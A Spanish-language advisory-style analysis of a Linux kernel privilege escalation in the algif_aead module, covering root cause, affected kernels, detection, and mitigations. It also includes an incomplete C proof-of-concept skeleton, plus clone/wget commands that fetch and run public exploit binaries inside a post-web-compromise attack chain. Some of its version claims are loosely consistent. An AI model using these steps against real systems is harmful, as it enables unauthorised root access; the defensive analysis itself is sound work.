
Technical analysis of CVE-2026-31431, a Linux kernel local privilege escalation in the algif_aead module, including root cause, affected versions, exploit flow, and mitigation strategies.
Clasificación: Local Privilege Escalation (LPE) — Kernel de Linux
CVSS: 7.8 (Alto)
Impacto:usuario sin privilegios → root
Módulo afectado:algif_aead(subsistema AF_ALG del kernel)
El kernel de Linux expone una interfaz de criptografía al espacio de usuario llamada AF_ALG (socket de familia AF_ALG). Esta interfaz permite que procesos sin privilegios usen aceleradores criptográficos del kernel — cifrado, hashing, generación de claves — sin necesidad de root.
Uno de sus módulos es algif_aead, que implementa el modo AEAD (Authenticated Encryption with Associated Data), usado por algoritmos como AES-GCM o ChaCha20-Poly1305.
El bug está en cómo algif_aead maneja operaciones de sendmsg() + recvmsg() cuando el buffer de salida es más pequeño de lo esperado. El kernel ejecuta una operación de copia (copy_to_user) sin validar correctamente el tamaño, lo que causa:
Buffer overflow → escritura fuera de límites en memoria del kernel
Técnicamente:
algif_aead_copy_sgl()
└─ sg_copy_to_buffer()
└─ memcpy hacia dirección controlada parcialmente por usuario
Este write-out-of-bounds permite sobrescribir estructuras de control del kernel adyacentes en memoria — en particular, punteros de función o estructuras cred — para escalar privilegios.
Porque AF_ALG está disponible para usuarios sin privilegios. Cualquier proceso puede abrir un socket AF_ALG y enviar datos sin autenticación previa. El exploit no necesita ninguna vulnerabilidad auxiliar.
// Esto lo puede hacer cualquier usuario del sistema
int fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
| Versión del kernel | ¿Afectado? |
|---|---|
| < 5.10 | No (módulo no existía en esa forma) |
| 5.10 — 6.1.x | Sí ⚠️ |
| 6.2.x | Sí ⚠️ (incluye el kernel del PoC) |
| 6.3+ con parche aplicado | No ✅ |
# Ver versión del kernel
uname -r
# Ver si el módulo vulnerable está cargado
lsmod | grep algif_aead
# Ver si AF_ALG está disponible
cat /proc/net/protocols | grep ALG
$ uname -r
6.2.0-20-generic
$ lsmod | grep algif_aead
algif_aead 20480 0
af_alg 32768 3 algif_aead,algif_skcipher,algif_hash
⚠️ Si ves
algif_aeadenlsmody tu kernel es6.2.xen Ubuntu 23.04, estás expuesto.
⚠️ Aviso ético: Esta sección es puramente educativa. La explotación de sistemas sin autorización explícita es ilegal y punible. Los ejemplos están pensados para entornos de laboratorio controlados.
1. Abrir socket AF_ALG (algif_aead)
2. Enviar sendmsg() con buffer oversized
3. recvmsg() con buffer más pequeño → trigger del bug
4. Escritura OOB en kernel heap
5. Sobrescribir cred->uid/gid a 0
6. execve("/bin/sh") → shell root
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/if_alg.h>
int main(void) {
struct sockaddr_alg sa = {
.salg_family = AF_ALG,
.salg_type = "aead",
.salg_name = "gcm(aes)",
.salg_feat = 0,
.salg_mask = 0,
};
int fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(fd, (struct sockaddr *)&sa, sizeof(sa));
// Configurar clave de 16 bytes
char key[16] = {0};
setsockopt(fd, SOL_ALG, ALG_SET_KEY, key, sizeof(key));
setsockopt(fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 16);
int op_fd = accept(fd, NULL, NULL);
// Buffer grande → trigger OOB write
char big_buf[4096] = {0};
char small_buf[16] = {0};
struct msghdr msg = {0};
// ... construcción del msghdr con cmsg ALG_OP_ENCRYPT
sendmsg(op_fd, &msg, 0);
// recvmsg con buffer insuficiente → kernel escribe fuera de límites
recv(op_fd, small_buf, sizeof(small_buf), 0);
// Si el exploit funcionó, ahora somos root
if (getuid() == 0) {
printf("[+] ¡Root obtenido!\n");
execl("/bin/sh", "sh", NULL);
}
return 0;
}
Este es un esquema simplificado. El exploit real requiere primitivas adicionales de heap shaping para alinear la escritura OOB con la estructura
task_struct->cred.
Los siguientes repositorios contienen implementaciones funcionales documentadas:
copy-fail-c — Exploit en C puro, requiere compilación
https://github.com/tgies/copy-fail-c
copy-fail-tiny-elf — Binario ELF standalone, no requiere compilación
https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431
# Clonar y compilar copy-fail-c
git clone https://github.com/tgies/copy-fail-c
cd copy-fail-c
make
./copyfail
# Resultado esperado en sistema vulnerable:
# [*] Comprobando módulo algif_aead...
# [*] Preparando spray de heap...
# [+] OOB write exitoso
# [+] UID ahora: 0
# # whoami
# root
wget https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431/raw/main/copyfail
chmod +x copyfail
./copyfail
Atacante externo
│
▼
Explota vulnerabilidad web (RCE) → acceso como www-data
│
▼
Sube copyfail al servidor (wget/curl)
│
▼
Ejecuta ./copyfail
│
▼
Shell root en el servidor ✓
Tiempo estimado desde acceso www-data hasta root: < 30 segundos.
La única solución real es tener un kernel con el parche aplicado.
# Opción 1: Upgrade a Ubuntu 24.04 LTS (recomendado)
do-release-upgrade
# Opción 2: Si ya tienes Ubuntu 22.04 LTS
sudo apt update && sudo apt dist-upgrade
sudo reboot
# Verificar kernel parcheado
uname -r # debe ser ≥ 5.15.0-107 en Ubuntu 22.04
Si no puedes actualizar ahora mismo, desactiva algif_aead:
# Crear blacklist del módulo
echo "blacklist algif_aead" | sudo tee /etc/modprobe.d/blacklist-algif-aead.conf
# Regenerar initramfs para que sea permanente
sudo update-initramfs -u
# Reiniciar
sudo reboot
Verificar que quedó desactivado:
lsmod | grep algif_aead
# No debe aparecer nada
⚠️ Esto puede romper software que use cifrado AEAD vía AF_ALG (poco común en servidores web estándar).
# Deshabilitar user namespaces sin privilegios (rompe algunas features de Docker)
sudo sysctl -w kernel.unprivileged_userns_clone=0
# Hacerlo permanente
echo "kernel.unprivileged_userns_clone=0" | sudo tee -a /etc/sysctl.d/99-hardening.conf
sudo sysctl -p /etc/sysctl.d/99-hardening.conf
Crear un perfil AppArmor que denegue acceso a AF_ALG:
# /etc/apparmor.d/local/restrict-af-alg
network af_alg, # denegar en perfiles específicos
Para el proceso web (ejemplo nginx/www-data):
# Agregar al perfil AppArmor de www-data o nginx
# deny network af_alg,
sudo apparmor_parser -r /etc/apparmor.d/usr.sbin.nginx
Aunque no evita la escalada, reduce la superficie de ataque inicial:
# Verificar que www-data no tiene sudo
sudo grep www-data /etc/sudoers
# Quitar binarios SUID innecesarios
find / -perm -4000 2>/dev/null
# Restringir directorios accesibles
chmod 700 /root
chmod 750 /home/*
https://nvd.nist.gov/vuln/detail/CVE-2026-31431crypto/algif_aead.chttps://github.com/tgies/copy-fail-chttps://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431Documento elaborado con fines académicos — Ingeniero administrador de sistemas, 2026
| Distribución | Kernel típico | ¿Tiene parche? |
|---|
| Ubuntu 23.04 (lunar) | 6.2.0 | ❌ EOL — sin parches |
| Ubuntu 22.04 LTS | 5.15.x | ✅ Parcheado |
| Ubuntu 24.04 LTS | 6.8.x | ✅ No afectado |
| Debian 12 (Bookworm) | 6.1.x | ✅ Parcheado |
| Arch Linux (2026-03+) | 6.8.x | ✅ No afectado |
| Mitigación | Efectividad | Impacto en servicio | Permanente |
|---|
| Actualizar a Ubuntu 24.04 | ✅ Total | Mínimo | Sí |
Blacklist algif_aead | ✅ Alta | Muy bajo | Sí |
unprivileged_userns_clone=0 | 🟡 Parcial | Moderado | Sí |
| AppArmor AF_ALG deny | ✅ Alta | Bajo | Sí |
| Hardening de www-data | 🟡 Reduce | Ninguno | Sí |